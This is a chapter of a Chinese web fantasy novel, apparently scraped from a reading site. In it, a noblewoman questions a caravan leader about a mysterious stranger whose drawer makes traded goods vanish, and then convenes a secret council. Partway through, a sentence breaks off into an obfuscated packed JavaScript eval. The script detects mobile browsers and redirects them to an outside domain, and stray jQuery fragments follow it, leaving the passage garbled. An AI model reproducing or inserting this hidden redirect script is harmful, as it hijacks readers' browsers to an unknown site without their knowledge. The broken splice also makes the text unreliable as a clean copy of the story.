城邦的名字就叫做城邦。


    或许在数百年前的那个丰饶纪元，这座城邦还有其他用于与其他城邦区分的专属名称。


    但是，在如今的焚日荒原之上，有资格冠以城邦之名的势力，有且仅有蜗居在旧城遗址下的那一支远古孑遗而已。


    在其余游荡民部落大多几十口人，稍大者也不过百人的情况下，人口总数超过六位数的城邦，简直是超乎游荡民们想象的庞然巨物。


    而这座伟大城邦的统治者之一，族谱上可追溯到丰饶纪元，血管里流淌着哈希姆家族高贵血液的麦卡丽姆女士，却突然起了兴致，秘密召见了一位年纪又老，气质不佳，长相也乏善可陈的已婚平民雄性。


    对此，麦卡丽姆的心腹护卫哈娅特完全无法理解。


    即使这人有幸辅助齐雅德大人做事，但也不至于让麦卡丽姆大人亲自召见这个低贱的平民啊？


    她斜乜着面前弓腰含胸之人，挑剔探究的视线在他饱经风霜摧残的平庸外貌，以及边缘起毛磨损的罩袍上久久流连。


    和那些花朵一样鲜嫩可口的年轻雄性相比，这家伙简直像是颗风干的麻枣般柴而无味。


    再怎么说，这人好歹也是个雄性。


    就算出身再怎么低微，他也该尽到雄性的本分，打理好自己的外貌。不说多么好看，至少别脏了贵人的眼睛吧……


    哈娅特厌烦地皱了皱鼻子，没有多说什么，板着张脸将来人放进了身后守卫的门扉之内。


    “坐。”


    右耳钉有四枚金环的中年女性稍稍抬手，织有细密金线的宽袍大袖随之垂落，潋滟金光刺入来访者的眼帘，让他本就佝偻的身板愈发瑟缩了起来。


    “你是叫……穆提，对吗？”


    麦卡丽姆挑起下巴，俯视着卑微的访客。


    她昂首挑眉的高傲样子，与她那位印在金币上的先祖有八分相像。


    也很像她的小儿子齐雅德。


    “齐雅德已经跟我汇报了路上的经过，现在我想要听听你对那位……卓珂的见解。”


    这位哈希姆家的掌权者浅酌了一口圆菇蚜蜜露酿成的甜酒，手指有一下没一下地敲着水晶酒杯，发出不规律的咔哒咔哒声。


    “外貌、性格、习惯、能力……想到什么就说什么，说得越详细越好。”


    齐雅德和他的父亲一样，空长了一张丰腴圆润的脸蛋儿，脑袋却远不及长相那样出众。


    儿子嘛，麦卡丽姆也没指望他像长女一样能干，脑子傻就傻点，能够驯服听话，当好一个漂亮摆设，讨母亲和未来妻子的欢心就好。


    真到了办正事的时候，麦卡丽姆根本不会对挂名字刷履历的齐雅德抱有太多期望。


    到了这种时候，就该轮到穆提这样靠着一点小聪明，从底层拼杀出来的泥腿子平民出场，展现他们的用武之地了。


    穆提恭敬地垂下头颅，两只眼睛紧盯着自己的皮鞋尖头，不敢转动分毫。


    “回麦卡丽姆大人的话，此人……深不可测，绝对不可小觑。”


    或许是过于紧张的缘故，他的声音比平常说话时更加细弱尖锐，像是根绷得过紧，濒临断裂边缘的脆弱琴弦。


    穆提简略描述了一遍卓珂的外貌特征，包括她比异兽还超出一筹的身高、过分浅淡的肤色、多余的畸形手指，以及鼻梁上架着的那对工艺极其高超的透石镜片。


    个中内容基本与齐雅德的报告相吻合，没有什么出奇的地方。


    大致介绍完了外表，穆提开始着重介绍起了卓珂的神异之处。


    首先被他提到的，就是那栋突兀出现在焚日荒原之上的奇怪房屋。


    “依属下的一己之见，撇开落地窗上方的神秘文字不提，那栋房屋的整体风格，与地表之上那座丰饶纪元遗留的旧城遗迹高度吻合……”


    穆提深深低头，借此掩盖他脸上抑制不住的些许恐惧。


    即使穆提的确亲眼见到了那栋突兀出现的房屋，甚至还大着胆子上手抚摸了两下，确认过这栋触手可及的房子，的确是真实存在，有确实形体的东西。


    但是，它与它里面住着的人，却让穆提忍不住反复质疑自己的感官，怀疑自己是否陷入了一场诡谲怪诞的离奇幻觉。


    听着听着，麦卡丽姆不禁放下了手中的酒杯，坐姿也从之前歪倚在靠背里的漫不经心，逐渐坐直了腰板，变得严肃认真了起来。


    “你是说，你们交易给她的那些东西，全部都凭空消失了？”


    “是的，麦卡丽姆大人，属下亲眼所见，卓珂拎起褡裢，把里面的干蘑菇全部倒进了一个白色的抽屉里。”


    穆提模仿着卓珂抽拉抽屉的动作，又比划了一下收银抽屉的大小。


    长了眼睛的人都能看得出来，那样又扁又浅的抽屉，绝不可能放下那么多的蘑菇。


    那个拉开的抽屉就像是个见不到底的深洞，满满一褡裢的矿石和蘑菇倒了进去，竟然连半点反应都没有，就那样无声无息地被它吞吃殆尽。


    麦卡丽姆一手撑着下巴，对着穆提双手虚比出来的大小陷入了深思。


    物品凭空消失这种现象，怎么听都不像是现实中存在的事。


    可是以穆提的胆量和性格，这人绝对不敢对她撒这种不符常理的弥天大谎。


    一个有家有室，妻子病弱修养，女儿刚当上学徒，惧怕沦落到贫民阶层的人，是最趁手好用的工具。


    也就是说，这个被齐雅德忽略掉的关键细节，很可能是真实存在的。


    麦卡丽姆不禁被这条消息激出了几丝兴奋。


    如果卓珂她真是……


    如果事情真如她的猜测一样，卓珂能拥有这种能力，似乎也不算太超乎常理。


    “在你眼中，卓珂是个什么性格的人？”


    面对麦卡丽姆的发问，穆提迅速整理了一下腹稿，然后恭敬说道。


    “强势，凶狠，睚眦必报，学习能力惊人，很能蛊惑人心。”


    听过齐雅德与其护卫报告的麦卡丽姆十分清楚，前三个词明显来自于那堆高耸骇人的异兽头颅。


    能以雷霆之势反杀围攻她的异兽，用异兽的脑袋当装饰物的人，确实配得上那三个血光淋漓的词汇。


    至于学习


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832137|155548||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能力，齐雅德也提到过一日内学会语言的事，穆提给出的形容甚至还有些保守。


    可蛊惑人心……


    难道是指那些装在精致铁盒里的糖果吗？


    这东西确实相当精美，明显是丰饶纪元的风格，但也不至于说是蛊惑人心吧……


    穆提从麦卡丽姆的沉默中读出了些许疑惑，连忙开口补充道。


    “蛊惑人心的意思是，卓珂能让一支刚接触不久的游荡民部落对她心悦诚服，为了她的安危撒谎欺瞒商队。”


    穆提大致介绍了一遍阿齐兹一族的族长阿米娜，证明这位少见的游荡民老者是个难得的精明人，绝不是什么容易轻信的傻子。


    “阿齐兹？那个罪人的后裔竟然活到了四十年后的现在？”


    考虑到焚日荒原上的游荡民们普遍活不到自然衰老的年龄，麦卡丽姆的疑问绝对算不上大惊小怪。


    “是的，阿米娜依然活着，头脑也依旧敏捷，没有因为衰老而迟钝。”


    “行了，不用再说那些无关紧要的人了。等到兽灾过后，你继续当你的商队头领，把卓珂当做一支新的游荡民部落对待，带着齐雅德与那位自称卓珂的人交易糖果。”


    麦卡丽姆不耐烦地摆了摆手，叫停了穆提的殷勤感谢。


    “新鲜圆菇我们是不能交出去的，其余那些丰饶纪元遗物，稍后哈娅特会交给你一份名单，你可以挑选一些卓珂可能会感兴趣的东西，用来当做下次交易的货物。”


    “那矿石……”穆提试探性地问道。


    “不用在乎卓珂说过什么，继续像之前那样收购。”


    麦卡丽姆沉吟片刻，还是给这个平民雄性赏了点甜头。


    “如果你任务完成得足够出色，我可以破例提拔你担任副司库一职。”


    “是，麦卡丽姆大人！”


    穆提反手掐住自己激动到颤抖的手指，双臂交叉于胸前，无比郑重地对着麦卡丽姆行了一遍大礼。


    ——


    打发走了穆提之后，麦卡丽姆摇铃唤来守在门口的护卫哈娅特，吩咐她请来拉希德与阿拔斯两家的人，三家的话事人凑在一起，临时召开一场事关城邦发展的秘密会议。


    “这就是齐雅德观察到的情况。”


    麦卡丽姆向另外两人分发着写着自己的嫩托多兽皮，口中侃侃而谈道。


    “我提议接下来朵哈学者研究的重点，可以放到卓珂特意提及的几种矿石上面。”


    “我赞成。”


    “我也赞成，不过研究地点必须远离城邦中心区域，存放矿石的仓库也是一样。”


    “那是当然。”麦卡丽姆扬起眉毛，“或许我们也可以模仿卓珂的习惯，让学者们在地上泼洒过滤蒸馏过的纯净清水。”


    “那这些费用是由你们哈希姆家承担吗？”阿拔斯的阿布拉开口问道。


    “不，当然是我们三个家族一起支付。”


    麦卡丽姆抬起手臂，织金的罩袍布料随着她的动作，在麦卡丽姆身侧激荡出摄人的金色波浪。


    “为了城邦的利益，这是我们应该付出的代价。”